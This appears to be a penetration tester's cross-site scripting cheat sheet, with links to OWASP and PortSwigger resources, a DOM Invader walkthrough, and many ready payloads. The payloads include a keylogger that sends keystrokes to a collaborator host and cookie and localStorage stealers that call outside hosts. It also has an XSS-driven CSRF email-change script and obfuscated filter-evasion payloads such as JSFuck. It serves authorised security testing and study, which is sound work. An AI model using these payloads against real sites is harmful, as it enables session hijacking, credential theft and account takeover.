- Testing for Reflected Cross Site Scripting (WSTG-INPV-01)
- Testing for Stored Cross Site Scripting (WSTG-INPV-02)
- Testing for DOM based Cross Site Scripting (WSTG-CLNT-01)
- Testing for JavaScript Execution (WSTG-CLNT-02)
- XSS Cheatsheet (OWASP)
- Fuzzing list (SecLists)
- PayloadsAllTheThings
- Cross-site scripting (PortSwigger)
- Reflected XSS (PortSwigger)
- Stored XSS (PortSwigger)
- DOM-based XSS (PortSwigger)
- Exploiting cross-site scripting vulnerabilities (PortSwigger)
- Cross-site scripting contexts (PortSwigger)
- Cross-site scripting (XSS) cheat sheet (PortSwigger)
- alert() is dead, long live print() (PortSwigger)
- Tiny-XSS-Payloads (GitHub)
See labs WebSecurityAcademy (PortSwigger) – HTTP request smuggling (Exploiting HTTP request smuggling to deliver reflected XSS).
Vulnerability description for reporting available in VulnDB (GitHub)
XSS Types
- Reflected XSS: the malicious script comes from the current HTTP request.
- Stored XSS: the malicious script comes from the website’s database.
- DOM-based XSS: the vulnerability exists in the client-side code rather than server-side code.
Reflected / Stored XSS – Examples
Insert Javascript into URL parameters (GET), hidden fields, forms (stored XSS)
<script>alert('XSS')<script/>
<img src="javascript:alert('XSS');">
url?param=alert('XSS')<script/></p> <h1>Create web page for POST requests</h1> <p>document.write('Hacked')</p> <p><img src="javascript:alert('XSS');"></p>
<script src="http://localhost/a.js">
a.js:
document.body.innerHTML="<h1>XSS</h1><br/><img src='http://x.x.x.x/a.jpg' />";
<a onmouseover="alert(new Date())">ALERT</a>
Steal local storage
if ('localStorage' in window && window['localStorage'] !== null) {
new Image().src = 'https://webhook.site/<id>?localStorage='+JSON.stringify(window['localStorage']);
}
<image/src/onerror=prompt(JSON.stringify(localStorage))>
Steal cookies + local storage
<script>alert('Cookies: ' + document.cookie + ' Local storage: ' + JSON.stringify(window['localStorage']));</script>
Redirection to a malicious site or content
<script>window.location.href="https://loremflickr.com/320/240/alpaca"</script>
<script>location="https://loremflickr.com/320/240/alpaca"</script>
From inside an iframe
<script>window.parent.window.location.href="https://somesite"</script>
<script>parent.document.body.innerHTML = "<p>XSS</p>";</script>
XSS Locator (Polygot)
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Malformed A tags: browser might add missing quotes
<a onmouseover=alert(document.cookie)>xxs link</a>
Default SRC tag to get past filters that check SRC domain
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC=# onmouseover="document.write('Hacked')">
<IMG SRC=# onmouseover="document.write('<img src=https://images.app.goo.gl/ipJoPTyhrSMvHMvt5>')">
Angular
https://someurl/somepage.pl?request_id=%7B%7Bconstructor.constructor(%27alert(document.cookie)%27)()%7D%7D
Keylogger
Tested during the lab Exploiting cross-site scripting to capture passwords.
<script>
var buffer = "";
var url = 'https://<BURP COLLABORATOR ID>.oastify.com/?data='
document.onkeypress = function(e) {
buffer = buffer + e.key;
}
window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(buffer);
new Image().src = url + data;
buffer = "";
}
}, 2000);
</script>
To steal credentials from autofill (like password manager’s autofill), add input fields like this after the keylogger payload:
<input name=username id=username>
<input type=password name=password>
Steal cookies
<script>document.location='https://<BURP COLLABORATOR ID>.oastify.com?cookie='+document.cookie</script>
<script>new Image().src="https://<BURP COLLABORATOR ID>.oastify.com?cookies="+document.cookie;</script>
<svg/onload=fetch(`//<BURP COLLABORATOR ID>\.oastify.com?c=`%2bdocument.cookie)>
<svg/onload=import(`//<BURP COLLABORATOR ID>\.oastify.com?c=`%2bdocument.cookie)>
myprecious.js
document.write('<img src="http://x.x.x.x/myprecious.png?cookie=' + document.cookie + '" />');
Optional: Download transparent image
Stealthier, this will remove the image missing icon.
wget -O myprecious.png https://upload.wikimedia.org/wikipedia/commons/c/ca/1x1.png
Start a Python HTTP server
python3 -m http.server 80
XSS Payload
<script src="http://x.x.x.x/myprecious.js" />
XSS with CSRF
<script>
var request = new XMLHttpRequest();
request.onload = handleResponse;
request.open('GET','/my-account',true); // Get the CSRF token
request.send();
function handleResponse() {
// Extract the CSRF token
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
// Send a POST request to execute the CSRF
var request2 = new XMLHttpRequest();
request2.open('POST', '/my-account/change-email', true);
request2.send('email=CSRF@example.com&csrf='+token);
};
</script>
DOM-based XSS
See Testing for DOM based Cross Site Scripting (WSTG-CLNT-01)
- DOM-based XSS (PortSwigger)
DOM Invader
- DOM Invader (PortSwigger)
- Introducing DOM invader – A new tool within Burp Suite (PortSwigger on YouTube)
Use DOMInvader test cases to test.
See lab Practitioner – DOM XSS via client-side prototype pollution.
Available in the Chrome browser with Burp Suite (pro and community versions). Allows to find DOM-based XSS. Canaries are random strings of characters.
- In the Proxy -> Intercept tab, click on Open browser.
- Click on the extension icon and pin the Burp Suite Container extension if not already pinned.
- Click on the Burp Suite Container icon and then on the DOM Invader tab.
- Click on Dom Invader is off to enable it.
- Change the canary (random string) to “burpdomxss” (optional). Click Update canary.
- Access the web application to test.
- Right-click on the page, click on Inspect to open the DevTools.
- Click on the DOM Invader tab.
- DOM tab:
- Stack Trace: when something is found, click on the link under Stack Trace and click on the Console tab to understand where this code is called and where the canary value occurs. Click on the most recent link in the stack trace (at the bottom).
- Inject the canary in the URL: navigate to a page with GET parameters. Click on the Inject URL params button.
- Inject canary into forms: navigate to a page with a form. Click on Inject forms. Submit the form. When something is found, update the value in the vulnerable parameter to exploit the XSS and the value will be updated in value under Sinks.
- Auto fire events and redirection prevention: useful to find vulnerabilities in event listeners. Click on the Burp Suite Container extension icon, Misc -> Auto fire events are off (will automatically click on links for you and fire events) and Misc -> Redirection prevention is off (stop the page from being redirected to a different URL) Click Reload. Navigate the web application.
- Messages tab: used for Web Messages
- Message interception: Click on the Burp Suite Container extension icon, Postmessage interception is off (turn off other sub-settings). Click on Reload. The Data column is what is being sent. Click on the message to see all information.
- Spoofing message origin: same steps as Message interception, but enable sub-setting Postmessage origin spoofing is off. Click on Reload. To spoof origin of one message only, disable Postmessage origin spoofing and click on the message. Click on checkbox Spoof origin.
- Generating automated messages: when no messages appear in the Messages tab follow same steps as Message interception, but enable sub-setting Generate automated messages is off. Click on Reload.
- Replaying messages: when a message appears, click on it to see the details. Edit the Data if needed (like “<img src=1 onerror=alert(1)>”) and click Send (CTRL+Enter).
- Building a Proof of Concept: when a message appears, click on it to see the details. Edit the Data if needed (like “<img src=1 onerror=alert(1)>”) and click Build PoC.
Scanning
The majority of DOM XSS vulnerabilities can be found quickly and reliably using Burp Suite’s web vulnerability scanner.
Test manually
Use a web browser with the developer tools. You need to work through each available source in turn, and test each one individually.
XSS Evasion techniques
Obfuscation examples: img & alert
See XSS Filter Evasion Cheat Sheet (OWASP).
<img src=1 oNeRrOr=alert`1`>
<img src=1 onerror="location='javascript:=lert(1)'">
<img src=1 onerror="location='javascript:%61lert(1)'">
<img src=1 onerror="location='javascript:\x2561lert(1)'">
<img src=1 onerror="location='javascript:\x255Cu0061lert(1)'">
Decimal HTML characters
<img src=javascript:alert('XSS')>
Bypass restrictions on tags and events
Send the vulnerable request to the Intruder module to find allowed tags.
GET /?vulnerableparam=<§tag§> HTTP/2
...
- In the Payloads tab, copy the list of tags from the Cross-site scripting (XSS) cheat sheet (click Copy tags to clipboard).
- Start the attack.
- After finding allowed tags, make the event the varying part. In the Payloads tab, copy the list of events from the Cross-site scripting (XSS) cheat sheet (click Copy events to clipboard).
Blocked keywords
When “document.cookie” is blacklisted, you can use cookieStore to access the session token (when HttpOnly flag is not set).
<img src=x onerror='const createPromise = new Promise((resolve, reject) => resolve(cookieStore.get("<cookie name>")));createPromise.then((promisedata) => {confirm(promisedata.value)})'>
JSFuck
Use JsFuck. It uses only 6 different characters to write and execute JS code. The code must be put between <script>JSFuck generated code</script> unless the application uses eval().
Examples with alert(1)
<img src=x onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();>
<html>
<head>
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>
</head>
<body></body>
</html>
Within the username parameter
https://domain.com/login.jsp?username=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()